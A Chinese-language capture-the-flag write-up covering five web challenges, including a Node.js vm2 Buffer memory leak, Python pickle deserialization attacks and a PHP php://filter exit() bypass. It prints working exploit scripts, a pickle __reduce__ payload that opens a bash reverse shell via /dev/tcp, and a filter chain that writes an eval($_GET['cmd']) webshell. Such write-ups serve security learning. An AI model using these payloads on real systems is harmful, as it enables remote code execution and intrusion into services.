[HITCON 2016]Leaking

  • nodejs

在较早一点的 node 版本中 (8.0 之前),当 Buffer 的构造函数传入数字时, 会得到与数字长度一致的一个 Buffer,并且这个 Buffer 是未清零的。8.0 之后的版本可以通过另一个函数 Buffer.allocUnsafe(size) 来获得未清空的内存。

也就是可以利用Buffer()来读取内存


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
"use strict";

var randomstring = require("randomstring");
var express = require("express");
var {
VM
} = require("vm2");
var fs = require("fs");

var app = express();
var flag = require("./config.js").flag

app.get("/", function(req, res) {
res.header("Content-Type", "text/plain");

/* Orange is so kind so he put the flag here. But if you can guess correctly :P */
eval("var flag_" + randomstring.generate(64) + " = \"hitcon{" + flag + "}\";")
if (req.query.data && req.query.data.length <= 12) {
var vm = new VM({
timeout: 1000
});
console.log(req.query.data);
res.send("eval ->" + vm.run(req.query.data));
} else {
res.send(fs.readFileSync(__filename).toString());
}
});

app.listen(3000, function() {
console.log("listening on port 3000!");
});

审计源码可以知道定义和flag,但是flag变量名字未知,但是res.send("eval ->" + vm.run(req.query.data));使得我们可以执行任意代码

不过由于没怎么做过nodejs类型的题目,所以看了别的师傅的wp

可以知道这里利用nodejs沙箱逃逸进行任意代码执行

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests
import time

url = 'http://32ae46a5-a44c-452f-bf07-0b157261450b.node4.buuoj.cn:81/'

payload = "?data=Buffer(500)"

r = requests.get(url+payload)
while "flag" not in r.text:
r = requests.get(url + payload)
print(r.status_code)
time.sleep(0.1)
if "flag{" in r.text:
print(r.text)

[HFCTF 2021 Final]easyflask

  • session伪造
  • python序列化 __reduce__

Pickledumpsloads:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import base64
import _pickle


class User:
name: "admin"
is_admin: 0
pass


print(_pickle.dumps(User()))
print(base64.b64encode(_pickle.dumps(User())))
usr = _pickle.dumps(User())
print(_pickle.loads(usr))

__reduce__:

在用pickle的时候将该返回值进行序列化和反序列化(或许是这样,可能之后会进行修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64
import _pickle
import os


class User:
name: "admin"
is_admin: 0

def __reduce__(self):
print("你进行了反序列化")
os.system("whoami")
return ""

pass


try:
print(_pickle.dumps(User()))
print(base64.b64encode(_pickle.dumps(User())))
usr = _pickle.dumps(User())
print(_pickle.loads(usr))
except:
print("error")

获取到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
'uname': 'test',
'is_admin': 0,
'__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
if not session.get('u'):
u = pickle.dumps(User())
session['u'] = u
return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
path = request.args.get('file')
path = os.path.join('static', path)
if not os.path.exists(path) or os.path.isdir(path) \
or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
return 'disallowed'

with open(path, 'r') as fp:
content = fp.read()
return content


@app.route('/admin', methods=('GET',))
def admin_handler():
try:
u = session.get('u')
if isinstance(u, dict):
u = b64decode(u.get('b'))
u = pickle.loads(u)
except Exception:
return 'uhh?'

if u.is_admin == 1:
return 'welcome, admin'
else:
return 'who are you?'


if __name__ == '__main__':
app.run('0.0.0.0', port=80, debug=False)

1.熟悉的secret_key 加上flask框架直接用以前的脚本进行session伪造就好了

2.定义了一个User类,可知我们要伪造的内容为uname:admin is_admin:1

3.利用python的pickle的dumps和loads进行序列化和反序列化

所以可以利用__reduce__方法进行命令执行

exp:(最好在linux python2环境

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64encode


User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())

flask-session 伪造

img

根据形式将上面exp得到的内容放进去并利用密钥进行加密

img

最后抓包,访问/admin修改session,在vps上进行监听

就可以啦

img

[watevrCTF-2019]Pickle Store

  • python pickle序列化

一看题目就能知道是python序列化和反序列化了,可以查看到session,进行base4解码之后是乱码,但是我们可以直接进行反序列化

img

1
2
3
import _pickle
print(_pickle.loads(base64.b64decode('gAN9cQAoWAUAAABtb25leXEBTZABWAcAAABoaXN0b3J5cQJdcQNYFAAAAFl1bW15IHNtw7ZyZ8Olc2d1cmthcQRhWBAAAABhbnRpX3RhbXBlcl9obWFjcQVYIAAAADQ2NGZiNTE5ZWNjZDkwMDM3Y2E4MDczMTlkNDU3ODZkcQZ1Lg==')))
#{'money': 400, 'history': ['Yummy smörgåsgurka'], 'anti_tamper_hmac': '464fb519eccd90037ca807319d45786d'}

可以猜测后端存在base64解码之后的反序列化,那么直接上exp:(上题的exp仍然适用 在linux python2中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/python3.6
import os
import pickle
from base64 import b64encode


User = type('User', (object,), {
'uname': 'test',
'is_admin': 1,
'__repr__': lambda o: o.uname,
'__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/7777 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())

在vps上监听,抓包

img

[WMCTF2020]Web Check in 2.0

  • php

参考

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox); #当前路径
highlight_file(__FILE__);
if(isset($_GET['content'])) {
$content = $_GET['content'];
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content)) # ban了php伪协议用到的一些关键词
die('hacker');
if(file_exists($content))
require_once($content);
file_put_contents($content,'<?php exit();'.$content);

审计代码之后可以想到利用点在于file_put_contents($content,'<?php exit();'.$content);,之前做过类似的使用php://filter过滤器的base64,直接把前面的exit()绕过,但是这次base64被ban了,只能利用其他过滤器

php://filter在这里可以找到可利用的

img

payload:

1
php://filter/zlib.deflate|string.tolower|zlib.inflate|?><?php%0deval($_GET['cmd']);?>/resource=a.php

之后利用已知的路径去访问a.php,利用shell得到flag

[蓝帽杯 2021]One Pointer PHP(未学完)

给了源码:

add_api.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
$count[++$user->count]=1;
if($count[]=1){
$user->count+=1;
setcookie("data",serialize($user));
}else{
eval($_GET["backdoor"]);
}
}else{
$user=new User;
$user->count=1;
setcookie("data",serialize($user));
}
?>

首先审计代码,可以知道我们要绕过if($count[]=1)

这里利用int溢出就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
// $c=9223372036854775806;
// $count[++$c]=1;
// if($count[]=1){
// $c+=1;
// var_dump($count);
// }else{
// system('whoami');
// }

// use User as GlobalUser;

class User{
public $count = 9223372036854775806;
}

// $data = 'O%3A4%3A%22User%22%3A1%3A%7Bs%3A5%3A%22count%22%3Bi%3A1%3B%7D';
// var_dump(unserialize(urldecode($data)));
echo urlencode(serialize(new User()));

抓包修改cookie之后,get传backdoor,但是发现好多函数和类都被ban了,之后去参考别的师傅的wp,但是发现好多要学习的点(

img